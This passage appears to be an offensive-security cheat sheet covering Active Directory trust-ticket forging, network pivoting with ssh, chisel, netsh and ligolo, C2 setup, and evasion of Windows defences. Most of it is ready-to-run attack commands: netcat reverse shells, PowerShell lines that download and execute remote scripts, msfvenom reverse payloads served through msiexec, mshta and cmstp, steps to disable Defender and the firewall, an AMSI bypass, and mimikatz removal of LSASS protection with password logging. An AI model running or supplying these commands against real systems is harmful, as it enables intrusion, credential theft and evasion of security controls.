| They can be added as principals in an access control list, most interesting for us as principals in ACEs in a DACL. For more background on ACLs/DACLs/ACEs, check out the “An ACE Up The Sleeve” whitepaper. | |
| ## Forging External Trust Tickets - https://adsecurity.org/?p=1588 | |
| Step 1: Dumping trust passwords (trust keys) | |
| Step 2: Create a forged trust ticket (inter-realm TGT) using Mimikatz | |
| Step 3: Use the Trust Ticket file created in Step 2 to get a TGS for the targeted service in the destination domain. Save the TGS to a file. | |
| Step 4: Inject the TGS file created in Step 3 and then access the targeted service with the spoofed rights. | |
| ## Forging Internal AD Forest Trust Tickets - https://adsecurity.org/?p=1588 | |
| Step 1: Dumping trust passwords (trust keys) | |
| Step 2: Create a forged trust ticket (inter-realm TGT) using Mimikatz | |
| Step 3: Use the Trust Ticket file created in Step 2 to get a TGS for the targeted service in the destination domain. Save the TGS to a file. | |
| Step 4: Inject the TGS file created in Step 3 and then access the targeted service with the spoofed rights. | |
| ## Finding Privileged Accounts without Using Privileges | |
| ## Build LDAP Filter to look for users with SPN values registered for current domain - powershell - requires a domain-joined computer | |
| $ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))" | |
| $domain = New-Object System.DirectoryServices.DirectoryEntry | |
| $search = New-Object System.DirectoryServices.DirectorySearcher | |
| $search.SearchRoot = $domain | |
| $search.PageSize = 1000 | |
| $search.Filter = $ldapFilter | |
| $search.SearchScope = "Subtree" | |
| #Execute Search | |
| $results = $search.FindAll() | |
| #Display SPN values from the returned objects | |
| foreach ($result in $results) | |
| { | |
| $userEntry = $result.GetDirectoryEntry() | |
| Write-Host "User Name = " $userEntry.name | |
| foreach ($SPN in $userEntry.servicePrincipalName) | |
| { | |
| Write-Host "SPN = " $SPN | |
| } | |
| Write-Host "" | |
| } | |
| ## Service Accounts Using Generic Object Attributes | |
| ## Build LDAP Filter to look for users with service account naming conventions svc | |
| $ldapFilter = "(&(objectclass=Person)(cn=*svc*))" #$ldapFilter = "(&(objectclass=organizationalUnit)(|(name="Service")(name="svc")))" | |
| $domain = New-Object System.DirectoryServices.DirectoryEntry | |
| $search = New-Object System.DirectoryServices.DirectorySearcher | |
| $search.SearchRoot = $domain # $search.SearchRoot = "LDAP://OU=Service Accounts,OU=JEFFLAB,DC=JEFFLAB,DC=local" | |
| $search.PageSize = 1000 | |
| $search.Filter = $ldapFilter | |
| $search.SearchScope = "Subtree" | |
| #Adds list of properties to search for | |
| $objProperties = "name" | |
| Foreach ($i in $objProperties){$search.PropertiesToLoad.Add($i)} | |
| #Execute Search | |
| $results = $search.FindAll() | |
| #Display values from the returned objects | |
| foreach ($result in $results) | |
| { | |
| $userEntry = $result.GetDirectoryEntry() | |
| Write-Host "User Name = " $userEntry.name | |
| Write-Host "" | |
| } | |
| ## Service Accounts Discovery via User Account Control "password never expires" | |
| $ldapFilter = "(&(objectclass=user)(objectcategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=65536))" | |
| # Port Redirection and Tunneling | |
| ## proxy server - port forwarding | |
| ``` | |
| vim /etc/rinetd.conf | |
| add bindaddress(this machine) bindport(this machine) connectaddress(target) connectport(target) | |
| service rinetd restart | |
| plink -l root -pw password 208.99.127.88 -R 3390:127.0.0.1:3389 #victim machine | |
| rdesktop 127.0.0.1:3390 #attacker machine | |
| xfreerdp -sec-nla /u:'hacker' /p:'P@ssw0rd1!' /v:172.16.1.101 | |
| xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d:COMPLYEDGE.COM /u:pete /p:Passw0rd /v:172.16.126.168 | |
| ``` | |
| ## Local Port Forwarding | |
| forward a port from the client machine to the server/target machine - (A) -> B -> B/C | |
| ``` | |
| ssh -L <local port to listen>:<remote host>:<remote port> -p <gateway port> <user>@<gateway IP> | |
| ssh root@proxyserver -p 53 -L 9000:target:80 #forward localhost:9000 to target:80 through proxyserver:53 | |
| on serverA: ssh -N -L 127.0.0.1:9000:127.0.0.1:80 root@serverB # forward serverA localhost:9000 to serverB localhost:80 through serverA&B ssh tunnel, 127.0.0.1:9000 is open on serverA | |
| on serverA: ssh -N -L 9000:127.0.0.1:80 root@serverB # forward serverA:9000 to serverB localhost:80 through serverA&B ssh tunnel, 0.0.0.0:9000 is open on serverA | |
| on serverA: ssh -N -L 127.0.0.1:9000:serverC:80 root@serverB # forward serverA localhost:9000 to serverC:80 through serverA&B ssh tunnel, 127.0.0.1:9000 is open on serverA | |
| on serverA: ssh -N -L 9000:serverC:80 root@serverB # forward serverA:9000 to serverC:80 through serverA&B ssh tunnel, 0.0.0.0:9000 is open on serverA | |
| ``` | |
| ## Remote Port Forwarding | |
| forward a port from the server machine to the client/target machine - E/A <- (A) <- B | |
| ``` | |
| ssh -R <remote port to bind>:<local host>:<local port> -p <gateway port> <user>@<gateway IP> | |
| ssh root@proxyserver -p 53 -R 3390:localhost:3389 #forward my local port 3389 to target at port 3390 through port 53 on proxy server | |
| On serverA: ssh -N -R 127.0.0.1:1234:127.0.0.1:3389 root@serverB # forward serverB localhost:1234 to serverA localhost:3389 through serverA&B ssh tunnel, 127.0.0.1:1234 is open on serverB | |
| On serverA: ssh -N -R 1234:127.0.0.1:3389 root@serverB # forward serverB:1234 to serverA localhost:3389 through serverA&B ssh tunnel, 0.0.0.0:1234 is open on serverB | |
| On serverA: ssh -N -R 127.0.0.1:1234:serverE:3389 root@serverB # forward serverB localhost:1234 to serverE:3389 through serverA&B ssh tunnel, 127.0.0.1:1234 is open on serverB | |
| On serverA: ssh -N -R 1234:serverE:3389 root@serverB # forward serverB localhost:1234 to serverE:3389 through serverA&B ssh tunnel, 0.0.0.0:1234 is open on serverB | |
| ``` | |
| ## Dynamic Port Forwarding | |
| ``` | |
| ssh -D <local proxy port> -p <remote port> <target> | |
| ssh -D 8080 -p 2222 root@proxyserver | |
| ssh -fNT -D 19050 -i id_rsa [email protected] | |
| ``` | |
| ## Proxychains | |
| on victim: | |
| `ssh -f -N -R 2222:127.0.0.1:22 [email protected]` | |
| on attacker: | |
| `ssh -f -N -D 127.0.0.1:8080 -p 2222 [email protected]` | |
| on attacker: | |
| `proxychains nmap --top-ports=20 -sT -Pn 172.16.40.0/24` | |
| `sshuttle --dns -vr [email protected] 172.16.1.0/24 --ssh-cmd 'ssh -i ./id_rsa'` | |
| ## Invoke-SocksProxy | |
| Creates a local or "reverse" Socks proxy using powershell - https://github.com/p3nt4/Invoke-SocksProxy | |
| On the remote host: | |
| ``` | |
| ## Generate a private key and self signed cert | |
| openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem | |
| ## Get the certificate fingerprint to verify it: | |
| openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":" | |
| ## Start the handler | |
| python ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key | |
| ``` | |
| On the local host: | |
| ``` | |
| Import-Module .\Invoke-SocksProxy.psm1 | |
| Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 | |
| ## Go through the system proxy: | |
| Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy | |
| ## Validate certificate | |
| Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E' | |
| ## Give up after a number of failed connections to the handler: | |
| Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10 | |
| ``` | |
| ## netsh | |
| Windows port forwarding - A->B | |
| ``` | |
| netsh interface ipv4 install | |
| netsh interface ipv6 install | |
| netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport | |
| //listenaddress – is a local IP address waiting for a connection. # The listener address needs to be the IP of an interface of your machine. | |
| //listenport – local listening TCP port (the connection is waited on it). | |
| //connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected. | |
| //connectport – is a TCP port to which the connection from listenport is forwarded to. | |
| netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=1234 connectaddress=127.0.0.1 connectport=3389 | |
| netsh interface portproxy add v4tov4 listenport=30080 connectport=30080 connectaddress=10.10.14.2 | |
| netsh interface portproxy add v4tov4 listenport=38888 connectport=38888 connectaddress=10.10.14.2 | |
| netsh interface portproxy add v4tov4 listenport=39999 connectport=39999 connectaddress=10.10.14.2 | |
| netsh interface portproxy delete v4tov4 listenport=38888 listenaddress=172.16.1.5 | |
| netsh interface portproxy show all | |
| ``` | |
| ## Metasploit autoroute | |
| ``` | |
| meterpreter > background | |
| [*] Backgrounding session 1... | |
| msf6 exploit(multi/handler) > use multi/manage/autoroute | |
| msf6 post(multi/manage/autoroute) > set session 1 | |
| session => 1 | |
| msf6 post(multi/manage/autoroute) > exploit | |
| [!] SESSION may not be compatible with this module. | |
| [*] Running module against CLIENT09 | |
| [*] Searching for subnets to autoroute. | |
| [+] Route added to subnet 172.16.126.0/255.255.255.0 from host's routing table. | |
| [*] Post module execution completed | |
| msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy | |
| msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1 | |
| SRVHOST => 127.0.0.1 | |
| msf6 auxiliary(server/socks_proxy) > show options | |
| Module options (auxiliary/server/socks_proxy): | |
| Name Current Setting Required Description | |
| ---- --------------- -------- ----------- | |
| PASSWORD no Proxy password for SOCKS5 listener | |
| SRVHOST 127.0.0.1 yes The address to listen on | |
| SRVPORT 1080 yes The port to listen on | |
| USERNAME no Proxy username for SOCKS5 listener | |
| VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5) | |
| Auxiliary action: | |
| Name Description | |
| ---- ----------- | |
| Proxy Run a SOCKS proxy server | |
| msf6 auxiliary(server/socks_proxy) > exploit -j | |
| [*] Auxiliary module running as background job 1. | |
| ``` | |
| `proxychains4 nmap internal` | |
| ## Port forwarding in meterpreter shell | |
| Adding port forwards with metasploit module | |
| `meterpreter > portfwd add -l 80 -r 192.168.1.6 -p 80` | |
| ## Socks Over RDP / Socks Over Citrix | |
| https://github.com/nccgroup/SocksOverRDP | |
| regsvr32.exe SocksOverRDP-Plugin.dll | |
| `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default\AddIns\SocksOverRDP-Plugin` | |
| ## Chisel | |
| ### Basic port forwarding | |
| attacker ip: 10.10.14.2 | |
| pivot ip: 10.10.10.2 | |
| target ip: 10.10.10.240 | |
| on attacker: | |
| `chisel server -p 8000 --reverse -v` | |
| on pivot: | |
| Listen on Kali 80, forward to localhost port 80 on pivot | |
| `chisel client 10.10.14.2:8000 R:127.0.0.1:80:127.0.0.1:80` | |
| Listen on Kali 80, forward to 10.10.10.240 port 80 | |
| `chisel client 10.10.14.2:8000 R:127.0.0.1:80:10.10.10.240:80` | |
| ### Reverse Socks Proxy | |
| on attacker: | |
| `chisel server -p 8000 --socks5 --reverse -v` | |
| on pivot: | |
| Create SOCKS5 listener on 1080 on Kali, proxy through client | |
| `chisel client 10.10.14.2:8000 R:socks` | |
| add "socks5 127.0.0.1 1080" in proxychians config | |
| on attacker: | |
| `chisel server -p 8001 --socks5 --reverse -v` | |
| on pivot: | |
| `chisel client 10.10.14.2:8001 R:1081:socks` | |
| add "socks5 127.0.0.1 1081" in proxychians config | |
| `proxychains4 -f ~/new.conf [commands]` | |
| ### multiple hops | |
| A -> B -> C -> D -> E | |
| #### On A (10.10.14.2) | |
| ```bash | |
| ssh -fNT -D 19050 -i id_rsa [email protected] | |
| hop1.conf: socks5 127.0.0.1 19050 | |
| proxychains4 -f hop1.conf xfreerdp /u:'imaginarybit' /p:'P@ssw0rd12345!' /v:172.16.1.5 | |
| chisel server -p 8000 --socks5 --reverse -v | |
| hop2.conf: socks5 127.0.0.1 1080; | |
| proxychains4 -f hop2.conf xfreerdp /u:'imaginarybit' /p:'P@ssw0rd12345!' /v:172.16.6.12 | |
| python -m SimpleHTTPServer 10080 | |
| nc -lvnp 28888 | |
| nc -lvnp 38888 | |
| hop3.conf: socks5 127.0.0.1 19050;socks5 172.16.1.5 18888 | |
| hop3.conf: socks5 127.0.0.1 1080;socks5 127.0.0.1 1080 | |
| proxychains4 -f hop3.conf xfreerdp /u:'imaginarybit' /p:'P@ssw0rd12345!' /v:172.16.2.102 | |
| ``` | |
| #### On B (10.10.110.123) | |
| #### On C (172.16.1.5) | |
| ``` | |
| chisel.exe client 10.10.14.2:8000 R:socks | |
| netsh interface portproxy add v4tov4 listenport=10080 connectport=10080 connectaddress=10.10.14.2 | |
| netsh interface portproxy add v4tov4 listenport=28888 connectport=28888 connectaddress=10.10.14.2 | |
| netsh interface portproxy add v4tov4 listenport=38888 connectport=38888 connectaddress=10.10.14.2 | |
| netsh interface portproxy add v4tov4 listenport=48888 connectport=48888 connectaddress=10.10.14.2 | |
| netsh interface portproxy add v4tov4 listenport=58888 connectport=58888 connectaddress=10.10.14.2 | |
| chisel.exe server -p 8000 --socks5 --reverse -v | |
| netsh interface portproxy add v4tov4 listenport=18888 connectport=1080 connectaddress=127.0.0.1 | |
| ``` | |
| #### On D (172.16.2.12) | |
| ``` | |
| nc 172.16.1.5 28888 -e cmd.exe # standard user shell | |
| nc 172.16.1.5 38888 -e cmd.exe # admin user shell | |
| netsh interface portproxy add v4tov4 listenport=10080 connectport=10080 connectaddress=172.16.1.5 | |
| netsh interface portproxy add v4tov4 listenport=48888 connectport=48888 connectaddress=172.16.1.5 | |
| netsh interface portproxy add v4tov4 listenport=58888 connectport=58888 connectaddress=172.16.1.5 | |
| chisel.exe client 172.16.1.5:8000 R:socks | |
| ``` | |
| #### On E (172.16.2.102) | |
| ``` | |
| nc 172.16.2.12 48888 -e cmd.exe # standard user shell | |
| nc 172.16.2.12 58888 -e cmd.exe # admin user shell | |
| ``` | |
| ## Ligolo-ng - userland network stack | |
| https://github.com/tnpitsecurity/ligolo-ng | |
| ###Linux | |
| ``` | |
| //on c2 | |
| $ sudo ip tuntap add user [your_username] mode tun ligolo | |
| $ sudo ip link set ligolo up | |
| //on agent | |
| $ ./agent -connect attacker_c2_server.com:11601 | |
| [Agent : nchatelain@nworkstation] » ifconfig | |
| //on c2 | |
| ligolo-ng » session | |
| ? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000 | |
| $ sudo ip route add 192.168.0.0/24 dev ligolo | |
| ``` | |
| ###Windows | |
| You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture). | |
| ``` | |
| //on c2 | |
| $ ./proxy -h # Help options | |
| $ ./proxy -autocert # Automatically request LetsEncrypt certificates | |
| > netsh int ipv4 show interfaces | |
| [Agent : nchatelain@nworkstation] » start | |
| [Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation | |
| ``` | |
| ###Agent Binding/Listening | |
| ``` | |
| [Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp | |
| INFO[1208] Listener created on remote agent! | |
| [Agent : nchatelain@nworkstation] » listener_list | |
| [Agent : nchatelain@nworkstation] » listener_stop 0 | |
| //on c2 | |
| $ nc -lvp 4321 | |
| ``` | |
| #################################################################################################### | |
| #################################### Command and Control #################################### | |
| #################################################################################################### | |
| ## covenant | |
| ``` | |
| $ ~ > cd Covenant/Covenant | |
| $ ~/Covenant/Covenant > dotnet build | |
| $ ~/Covenant/Covenant > dotnet run | |
| ``` | |
| ## covenant docker | |
| sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /opt/Covenant/Covenant/Data:/app/Data covenant | |
| sudo docker ps -l | |
| sudo docker exec -it [container] | |
| sudo docker start [container] | |
| ## inject Donut Shellcode | |
| ./donut.exe -a2 -f1 "C:\Users\User\Desktop\API.exe" -o API.bin //-a <arch> Target architecture : 1=x86, 2=amd64, 3=x86+amd64(default). -f <format> Output format. 1=Binary (default), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex | |
| ./donut.exe -a2 -f1 "C:\Users\User\Desktop\APIx86.exe" -o APIx86.bin | |
| $filename64 = "C:\Users\User\Desktop\API.bin" | |
| [convert]::ToBase64String([IO.File]::ReadAllBytes($filename64)) | clip | |
| $filename86 = "C:\Users\User\Desktop\APIx86.bin" | |
| [convert]::ToBase64String([IO.File]::ReadAllBytes($filename86)) | clip | |
| ## generate new payload | |
| cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 | |
| .\csc.exe -platform:x86 -out:"C:\Users\User\Desktop\covenant86.exe" "C:\Users\User\Desktop\covenant32bit.cs" | |
| .\csc.exe -platform:x64 -out:"C:\Users\User\Desktop\covenant64.exe" "C:\Users\User\Desktop\covenant64bit.cs" | |
| ## rastamouse GruntInjector script - https://gist.github.com/rasta-mouse/3f73f1787e6ab1ceead636ca632a50bf#file-gistfile1-txt | |
| C:\Users\user1\Desktop>GruntInjector.exe "C:\Program Files\Internet Explorer\iexplore.exe" 4084 | |
| ## koadic - windows post-exploitation C2 framework | |
| git clone https://github.com/zerosum0x0/koadic.git | |
| cd koadic | |
| pip3 install -r requirements.txt | |
| ./koadic | |
| stager/js/mshta # serves payloads in memory using MSHTA.exe HTML Applications | |
| stager/js/regsvr # serves payloads in memory using regsvr32.exe COM+ scriptlets | |
| stager/js/rundll32_js # serves payloads in memory using rundll32.exe | |
| stager/js/disk # serves payloads using files on disk | |
| stager/js/wmic # serves payloads in memory using WMIC | |
| stager/js/bitsadmin # transfers a .wsf payload containing JScript over a Bitsadmin job and executes it | |
| #################################################################################################### | |
| ################################## Bypass Local Protection ################################## | |
| #################################################################################################### | |
| ## Bypass UAC and launch PowerShell window as admin | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'" | |
| ## check applocker rules | |
| PS C:\> $a = Get-ApplockerPolicy -effective | |
| PS C:\> $a.rulecollections | |
| ## PS constrained | |
| PS C:\> $ExecutionContext.SessionState.LanguageMode | |
| ## disable windows defender | |
| & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All | |
| (Get-MpPreference).DisableRealtimeMonitoring | |
| (Get-MpPreference).DisableIOAVProtection | |
| Set-MpPreference -DisableRealtimeMonitoring $true | |
| Set-MpPreference -DisableIOAVProtection $true | |
| ``` | |
| PS C:\htb> Get-MpComputerStatus | findstr "True" | |
| AMServiceEnabled : True | |
| AntispywareEnabled : True | |
| AntivirusEnabled : True | |
| BehaviorMonitorEnabled : True | |
| IoavProtectionEnabled : True | |
| IsTamperProtected : True | |
| NISEnabled : True | |
| OnAccessProtectionEnabled : True | |
| RealTimeProtectionEnabled : True | |
| ``` | |
| ## bypass defender and execute procdump.exe | |
| rename procdump.exe to dump64.exe and place it to | |
| `C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\dump64.exe` | |
| ## disable firewall | |
| netsh firewall set opmode disable | |
| Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False | |
| ## https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a | |
| ## LSA Protection Bypass: | |
| Get-Item -Path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa | Select-Object -ExpandProperty Property | |
| HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -> RunAsPPL -> 1 # check reg if protected LSA is enabled, it run LSASS as a protected process | |
| download whole zip contains mimikatz.exe, mimidrv.sys, and mimilib.dll | |
| mimikatz > version | |
| mimikatz > !+ | |
| mimikatz > !processprotect /process:lsass.exe /remove | |
| ## Credential Guard Bypass | |
| .\DG_Readiness_Tool_v3.2.ps1 -Enable -AutoReboot # If it is enabled, instead of the NTLM hash, Credential Guard returns an encrypted string. | |
| download whole zip contains mimikatz.exe, mimidrv.sys, and mimilib.dll | |
| mimikatz > version | |
| mimikatz > misc::memssp # mimikatz start to log the passwords of all users who login to c:\windows\system32\mimilsa.log | |
| type c:\windows\system32\mimilsa.log | |
| ## https://github.com/mvelazc0/defcon27_csharp_workshop | |
| #1 Custom Meterpreter Stager | |
| msfvenom -p windows/x64/meterpreter/reverse_https LHOST=Your_Kali_IP LPORT=8080 -f exe > ~/reverse.exe | |
| openssl genrsa > privkey.pem | |
| openssl req -new -x509 -key privkey.pem -out cert.pem -days 365 | |
| twistd -n web -c cert.pem -k privkey.pem --https=8080 | |
| run reverse.exe and get the staging URL | |
| query staging URL using web.client | |
| put the downloaded payload data into memory using win32 API | |
| 1. VirtualAlloc | |
| 2. Marshal.Copy | |
| 3. CreateThread | |
| #23 Shellcode Obfuscation (cannot bypass windows defender) | |
| XORing Your Payload | |
| AESing Your Payload | |
| #45 PowerShell without PowerShell.exe (cannot bypass amsi) | |
| Executing PWS Cmdlets | |
| C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Program Files(x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll" 1.cs | |
| #6 DLL Injection (将dll注入到一个已存在的进程中) | |
| gcc -m64 -shared -o ShellcodeInjectionDll.dll ShellcodeInjectionDll\ShellcodeInjectionDll.cpp | |
| VirtualAlloc function is used to reserve, commit, or change the state of a region of pages in the virtual address space of the calling process. | |
| VirtualAllocEx function is to allocate memory in another process' address space. | |
| WaitForSingleObject function is used to wait until the specified object is in the signaled state or the time-out interval elapses.(avoid shell terminated while connecting) | |
| Get the process id of the target process (e.g. with something like GetWindowThreadProcessId). # Process proc1 = Process.GetProcessById(val); | |
| Get a handle to the process with the appropriate permissions using OpenProcess. # IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, proc1.Id); | |
| Allocate some memory in that process with VirtualAllocEx. # IntPtr memAddr = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
| Copy the name of your DLL into that memory with WriteProcessMemory. # bool resp1 = WriteProcessMemory(procHandle, memAddr, Encoding.Default.GetBytes(dllPath), (uint)((dllPath.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); | |
| Get the address of the LoadLibrary function using GetProcAddress. # IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); | |
| Call CreateRemoteThread to start the LoadLibrary call in the target process, with the thread parameter being the memory you've allocated with VirtualAllocEx (containing the name of the DLL). # CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, memAddr, 0, IntPtr.Zero); | |
| #7 Process Hollowing (启动一个进程,然后向该进程注入shellcode) | |
| using CreateProcess Windows32 API | |
| #8 Parent Process Spoofing | |
| spawn a new process spoofing its parent process and inject shellcode to it to obtain a reverse shell. | |
| ## amsi disable - https://amsi.fail/ | |
| Using PowerShell version 2 | |
| PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) | |
| ## amsi Patching - https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell | |
| Patching amsi.dll AmsiScanBuffer by rasta-mouse | |
| Amsi ScanBuffer Patch | |
| Amsi Buffer Patch - In memory | |
| Adam Chester Patch | |
| Modified Amsi ScanBuffer Patch | |
| ## Bypass Application Whitelisting (AppLocker) - | |
| Applocker apply rules based on 1.Publisher or 2.Path or 3.File hash | |
| sfk replace cmd.exe -binary /440069007300610062006c00650043004D004400/440069007300610062006c00650041004D004400/ # customized cmd.exe | |
| ## Writable Folders for Bypassing Execution Control | |
| C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys | |
| C:\Windows\System32\spool\drivers\color | |
| C:\Windows\Tasks | |
| C:\windows\tracing | |
| ## Code Execution Techniques - https://github.com/pwndizzle/CodeExecutionOnWindows | |
| accesschk64.exe "Users" c:/Windows -w # find out writable path | |
| C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe payload.cs # craft payload.exe | |
| msfvenom -p windows/x64/meterpreter/reverse_https -f payload.dll # craft payload.dll, or .vbs or .xml | |
| C:\Windows\System32\SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" # SyncAppvPublishingServer.exe, alternative to Powershell.exe | |
| C:\Windows\System32\control.exe payload.dll # control.exe | |
| C:\Windows\System32\cscript.exe payload.vbs (where payload.vbs contains WScript.Shell) # cscript.exe/wscript.exe | |
| C:\Windows\System32\cscript.exe payload.js (where payload.js contains WScript.Shell) # cscript.exe/wscript.exe | |
| C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll # rundll32.exe | |
| C:\Windows\System32\rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test'); # rundll32.exe | |
| C:\Windows\System32\regsvr32.exe /s /n /u /i:[URL] scrobj.dll # regsvr32.exe | |
| C:\Windows\System32\regsvr32.exe payload.dll # regsvr32.exe | |
| C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj # MSBuild.exe | |
| C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml # MSBuild.exe | |
| C:\Windows\System32\mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta # mshta.exe | |
| C:\Windows\System32\wbem\WMIC.exe os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl" # wmic.exe | |
| winrm.exe qc -q & winrm i c wmicimv2/Win32_Process @{CommandLine="calc"} # winrm.exe | |
| C:\Windows\System32\forfiles.exe /p c:\windows\system32 /m notepad.exe /c whoami # forfiles.exe, alternative to cmd.exe | |
| C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe # InstallUtil.exe | |
| ## https://lolbas-project.github.io/#/execute | |
| AgentExecutor.exe | |
| Appvlp.exe | |
| At.exe | |
| Atbroker.exe | |
| Bash.exe | |
| Bginfo.exe | |
| Bitsadmin.exe | |
| Cdb.exe | |
| Cmstp.exe | |
| coregen.exe | |
| csi.exe | |
| DefaultPack.EXE | |
| Devtoolslauncher.exe | |
| Diskshadow.exe | |
| Dnscmd.exe | |
| dnx.exe | |
| Dotnet.exe | |
| Dxcap.exe | |
| Explorer.exe | |
| Extexport.exe | |
| Forfiles.exe | |
| Ftp.exe | |
| Gpscript.exe | |
| Hh.exe | |
| Ie4uinit.exe | |
| Ieexec.exe | |
| Infdefaultinstall.exe | |
| Installutil.exe | |
| Mavinject.exe | |
| Mftrace.exe | |
| Microsoft.Workflow.Compiler.exe | |
| Mmc.exe | |
| Msbuild.exe | |
| Msconfig.exe | |
| Msdeploy.exe | |
| Msdt.exe | |
| Mshta.exe | |
| Msiexec.exe | |
| msxsl.exe | |
| Netsh.exe | |
| Odbcconf.exe | |
| Pcalua.exe | |
| Pcwrun.exe | |
| Presentationhost.exe | |
| Rasautou.exe | |
| rcsi.exe | |
| Regasm.exe | |
| Register-cimprovider.exe | |
| Regsvcs.exe | |
| Regsvr32.exe | |
| Rundll32.exe | |
| Runonce.exe | |
| Runscripthelper.exe | |
| Schtasks.exe | |
| Scriptrunner.exe | |
| Sqlps.exe | |
| SQLToolsPS.exe | |
| Squirrel.exe | |
| SyncAppvPublishingServer.exe | |
| te.exe | |
| Tracker.exe | |
| Ttdinject.exe | |
| Tttracer.exe | |
| Update.exe | |
| Verclsid.exe | |
| vsjitdebugger.exe | |
| Wab.exe | |
| Wmic.exe | |
| Wsl.exe | |
| wuauclt.exe | |
| Xwizard.exe | |
| ## msiexec.exe | |
| msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi | |
| msiexec.exe /q /i http://192.168.1.107/shell.msi | |
| or | |
| msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi | |
| mv cmd.msi cmd.png | |
| msiexec.exe /q /i http://192.168.1.107/cmd.png | |
| or | |
| msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi | |
| msiexec.exe /q /i http://192.168.1.107/admin.msi | |
| or | |
| msiexec /y payload.dll | |
| msiexec /z payload.dll | |
| ## GreatSCT | |
| GreatSCT is a tool designed to generate metasploit payloads that bypass common anti-virus solutions and application whitelisting solutions. | |
| https://github.com/GreatSCT/GreatSCT | |
| installe and follow instruction to generate payload | |
| source code file: payload.xml | |
| metasploit rc file: payload.rc | |
| on victim: cmd.exe /c c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe payload.xml | |
| on attack: msfconsole -r payload.rc | |
| ## cmstp.exe | |
| ## prepare payload launcher.sct | |
| usestager windows/launcher_sct | |
| set Listener HTTP | |
| execute | |
| ## content of shell.inf | |
| ;cmstp.exe /s cmstp.inf | |
| [version] | |
| Signature=$chicago$ | |
| AdvancedINF=2.5 | |
| [DefaultInstall_SingleUser] | |
| UnRegisterOCXs=UnRegisterOCXSection | |
| [UnRegisterOCXSection] | |
| %11%\scrobj.dll,NI,http://10.10.14.5:8888/launcher.sct | |
| [Strings] | |
| AppAct = "SOFTWARE\Microsoft\Connection Manager" | |
| ServiceName="Yay" | |
| ShortSvcName="Yay" | |
| ## execute on victim | |
| cmstp.exe /s shell.inf | |
| ## Use cscript.exe/wscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS). | |
| cscript c:\ads\file.txt:script.vbs | |
